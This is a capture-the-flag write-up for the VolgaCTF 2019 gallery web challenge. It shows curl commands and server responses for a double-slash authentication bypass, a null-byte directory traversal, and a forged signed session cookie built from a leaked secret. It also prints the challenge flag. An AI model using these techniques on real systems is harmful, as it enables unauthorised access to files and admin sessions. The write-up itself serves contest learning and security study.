Exploitable through a combination of:
session-file-store
.Flag: VolgaCTF{31c2ac53d4101a01264775328797d424}
/js/, /css/, /api/
> GET / HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:24:28 GMT
< Content-Type: text/html
< Content-Length: 2417
< Last-Modified: Wed, 30 Jan 2019 21:28:34 GMT
< Connection: keep-alive
< ETag: "5c521702-971"
< Accept-Ranges: bytes
> GET /api/login HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:24:53 GMT
< Content-Type: text/plain; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
< cache-control: no-cache, private
curl -vv http://gallery.q.2019.volgactf.ru/js/
* Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /js/ HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:26:22 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<html>
<head><title>Index of /js/</title></head>
<body bgcolor="white">
<h1>Index of /js/</h1><hr><pre><a href="../">../</a>
<a href="bootstrap/">bootstrap/</a> 30-Jan-2019 09:08 -
<a href="jquery/">jquery/</a> 30-Jan-2019 09:09 -
<a href="auth.js">auth.js</a> 30-Jan-2019 11:30 312
<a href="config.js">config.js</a> 30-Jan-2019 07:46 391
<a href="index.js">index.js</a> 30-Jan-2019 11:29 1096
<a href="main.js">main.js</a> 30-Jan-2019 08:19 785
</pre><hr></body>
</html>
Conclusion: NodeJS Application (Frontend), based on X-Powered-By: Express
and the files found in /js/
.
Looking in index.js, we find:
[...]
app.get(`${config.apiPrefix}/flag`, function (req, res) {
console.log(req.session);
if(req.session.name === 'admin')
res.end(fs.readFileSync('../../flag', 'utf8'));
else
res.status(403).send();
});
[...]
Let‘s call the API for the flag we found in index.js:
curl -vv http://gallery.q.2019.volgactf.ru/api/flag
* Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /api/flag HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:28:20 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
<
Drats, it requires authentication.
Looking further:
[...]
app.use(proxy(config.proxy));
[...]
[...]
server: {
port: 4000
},
proxy: {
target: 'http://localhost:5000',
autoRewrite: true
}
[...]
Ok, so it proxies to a backend server on port 5000 we can’t reach. NodeJS listens on port 4000, and NGINX listens on port 80. The API endpoints that NodeJS itself responds to are /api/login
, /api/logout
and /api/flag
. Everything else is proxied and requires authentication with NodeJS/ExpressJS.
Can we get around that?
The authentication is set up to force logins for /api/*
, excluding /api/login
and /api/logout
:
app.use(`${config.apiPrefix}/*`, auth.unless({path: config.whitelistPaths}));
Let‘s try to fool the request mapper to reach the backend:
curl http://gallery.q.2019.volgactf.ru//api/foo
Welcome to volgactf gallery backend
Excellent, we bypassed the NodeJS authentication and accessed the backend. What next? Looking at main.js
[...]
$.getJSON(`/api/images?year=${year}`, function(data) {
[...]
href: `/api/image?year=${year}&img=${img}`,
[...]
we find that /api/images
and /api/image
are passed to the backend. Lets‘s call one of them:
Lists files:
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=2018
["2.jpg","3.jpg","5.jpg","6.jpg","4.jpg","1.jpg"]
Download an image:
curl -vv http://gallery.q.2019.volgactf.ru//api/image\?year\=2018\&img\=1.jpg
Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET //api/image?year=2018&img=1.jpg HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:37:36 GMT
< Content-Type: image/jpeg
< Content-Length: 1255783
< Connection: keep-alive
< X-Powered-By: Express
< cache-control: public
< last-modified: Tue, 29 Jan 2019 10:29:28 GMT
< content-disposition: attachment; filename=1.jpg
< accept-ranges: bytes
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
* Failed writing body (0 != 13664)
* Closing connection 0
Ok great, we can list images and download them. Let‘s try some path manipulation: The images themselves are more or less stock images and not at all interesting.
Let‘s try some path manipulation:
http://gallery.q.2019.volgactf.ru//api/images?year=..
Rats, it didn’t work, but we get an error page.
Interesting bits (reformatted):
[...]
<p class="break-long-words trace-message">
DirectoryIterator::__construct(/var/www/apps/volga_gallery/storage/app/../img/):
failed to open dir: No such file or directory
</p>
[...]
The /img/
part keeps us from doing directory traversal. By introducing null bytes (%00), we can cut off the string passed after %00, as the underlying function written in C/C++ works with null-terminated strings.
So will adding null bytes work?
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=..%00
["app","framework","logs"]
Nice – we got a folder listing. So let‘s poke around a bit.
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../..%00
["volga_gallery","volga_adminpanel","volga_auth"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_auth/%00
["login.html","node_modules","sessions","js","css","package.json","index.html"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel%00
["sessions","app.js"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel/sessions/%00
["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../..%00
["html","flag","apps"]
So what‘s interesting here? The folder volga_auth
is served by nginx (as its document root) on port 80 and can be inspected via the browser. The folder volga_gallery
contains the backend app (as evidenced by the backtraces a Laravel PHP app) and is served by a non-public nginx on port 5000. NodeJS is reachable on port 4000. The flag is in /var/www/flag
.
The application’s package.json
Trying to get the /api/image
endpoint to read files did not work – the img parameter is passed to preg_replace
with a very restrictive set of characters ([^A-Za-z0-9_.-]
) and year is passed to file_exists
, which is not vulnerable to null byte attacks.
http://gallery.q.2019.volgactf.ru///api/image?year=../%00&img=1.jpg
, HTML
http://gallery.q.2019.volgactf.ru///api/image?year=2018&img[0][0]=
, HTML
As we didn’t manage to download files, we now look at how we can get an authentication to use the /api/flag
endpoint.
We found a promising folder containing session data:
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel/sessions/%00
["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
How can we use this? Looking at the NodeJS/ExpressJS app source, we find that it uses session cookies and it stores the session’s data in the file system.
[...]
const session = require('express-session');
const store = require('session-file-store')(session);
[...]
[...]
DEFAULTS: {
path: './sessions',
[...]
}
[...]
sessionPath: function (options, sessionId) {
//return path.join(basepath, sessionId + '.json');
return path.join(options.path, sessionId + options.fileExtension);
},
[...]
The directory sessions/
exists in volga_auth
, but is empty.
The sessionPath construction seems to be susceptible to path manipulation.
We did find another sessions directory in volga_adminpanel
– let‘s try to forge this session. With a little luck, the admin reused the secret in the other application.
We need to sign the cookie though.
The session cookie is named “SESSION” and the secret is “;GmU1FSlVETF/vzEaBHP”:
session: {
name: 'SESSION',
saveUninitialized: false,
secret: ';GmU1FSlVETF/vzEaBHP',
rolling: true,
resave: false
},
To generate a valid session cookie, we have to look at the signature algorithm used:
function getcookie(req, name, secrets) {
var header = req.headers.cookie;
var raw;
var val;
// read from cookie header
if (header) {
var cookies = cookie.parse(header);
raw = cookies[name];
if (raw) {
if (raw.substr(0, 2) === 's:') {
val = unsigncookie(raw.slice(2), secrets);
if (val === false) {
debug('cookie signature invalid');
val = undefined;
}
} else {
debug('cookie unsigned')
}
}
}
[...]
[...]
exports.sign = function(val, secret){
if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");
if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");
return val + '.' + crypto
.createHmac('sha256', secret)
.update(val)
.digest('base64')
.replace(/\=+$/, '');
};
[...]
so the corresponding HTTP header is supposed to be:
Cookies: SESSION=s:<<VALUE>>.<<SIGNATURE>>
Let‘s generate the signature:
openssl dgst -sha256 -mac hmac -macopt key:$SECRET <(echo -n $VALUE)
HMAC-SHA256(/proc/self/fd/13)= 07434928493db5ce280e2360444582bf137da93a62e48e07da4e7a143c79c269
Ok, but we need a base64 digest:
openssl dgst -sha256 -mac hmac -macopt key:$SECRET -binary <(echo -n $VALUE) | openssl base64
B0NJKEk9tc4oDiNgREWCvxN9qTpi5I4H2k56FDx5wmk=
Almost - we need to strip the ‘=’s at the end (the zero padded part):
openssl dgst -sha256 -mac hmac -macopt key:$SECRET -binary <(echo -n $VALUE) | openssl base64 | sed -re 's/=+$//'
B0NJKEk9tc4oDiNgREWCvxN9qTpi5I4H2k56FDx5wmk
Excellent. Now, combine it into one command and try path manipulation magic to reference volga_adminpanel
’s sessions
directory:
export VALUE='../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM' ; \
curl --path-as-is -L -vv -b \
"SESSION=s:${VALUE}.$(openssl dgst -sha256 -mac hmac -macopt key:';GmU1FSlVETF/vzEaBHP' -binary <(echo -n ${VALUE}) | openssl base64 | sed -re 's/=+$//')" \
http://gallery.q.2019.volgactf.ru/api/flag
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /api/flag HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
> Cookie: SESSION=s:../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB/J4sPnVj5QkDEuBu/0QelFQQqAV6yh4
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:58:32 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
< set-cookie: SESSION=s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4; Path=/; HttpOnly
<
VolgaCTF{31c2ac53d4101a01264775328797d424}
SUCCESS!